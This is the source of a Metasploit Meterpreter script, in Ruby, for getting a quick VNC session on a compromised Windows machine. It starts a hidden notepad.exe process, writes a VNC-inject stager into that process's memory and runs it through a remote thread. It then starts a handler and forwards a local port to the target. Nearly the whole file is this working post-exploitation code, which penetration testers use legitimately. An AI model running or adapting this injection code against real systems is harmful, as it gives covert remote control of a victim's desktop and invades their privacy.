88 lines
2.0 KiB
Ruby
Executable File
88 lines
2.0 KiB
Ruby
Executable File
# $Id$
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#
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# Meterpreter script for obtaining a quick VNC session
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#
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session = client
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#
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# Options
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#
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opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "This help menu"],
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"-p" => [ true, "The port on the remote host to bind VNC to (default: randomized)"],
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"-l" => [ true, "The local port to listen on via port forwarding (default: 5901)"],
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"-e" => [true, "The process to run and inject into (default: notepad.exe)"]
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)
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#
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# Default parameters
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#
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lport = 5901
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lhost = "127.0.0.1"
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rport = 1024 + rand(1024)
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runme = "notepad.exe"
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#
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# Option parsing
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#
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opts.parse(args) do |opt, idx, val|
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case opt
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when "-h"
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print_line(opts.usage)
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return
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when "-p"
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rport = val.to_i
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when "-l"
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lport = val.to_i
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when "-e"
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runme = val
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end
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end
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#
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# Create Payload
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#
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print_status("Creating a VNC stager: RHOST=#{lhost} LPORT=#{rport}")
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pay = client.framework.payloads.create("windows/vncinject/bind_tcp")
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pay.datastore['LPORT'] = rport
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# pay.datastore['RHOST'] = vnc_lhost
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raw = pay.generate
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#
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# Create a host process
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#
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pid = client.sys.process.execute("#{runme}", nil, {'Hidden' => 'true'}).pid
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print_status("Host process #{runme} has PID #{pid}")
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note = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
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mem = note.memory.allocate(1024*32)
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print_status("Allocated memory at address #{"0x%.8x" % mem}")
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print_status("Writing the VNC stager into memory...")
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note.memory.write(mem, raw)
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#
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# Setup the multi/handler
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#
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mul = session.framework.exploits.create("multi/handler")
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mul.datastore['PAYLOAD'] = "windows/vncinject/bind_tcp"
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mul.datastore['RHOST'] = lhost
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mul.datastore['LPORT'] = lport
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mul.datastore['EXITFUNC'] = 'process'
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mul.datastore['ExitOnSession'] = true
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print_status("Running Payload")
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mul.exploit_simple(
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'Payload' => mul.datastore['PAYLOAD'],
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'RunAsJob' => true
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)
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print_status("Creating a new thread within #{runme} to run the VNC stager...")
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note.thread.create(mem, 0)
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print_status("Starting the port forwarding from #{lport} => TARGET:#{rport}")
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client.run_cmd("portfwd add -l #{lport} -p #{rport} -r #{lhost}")
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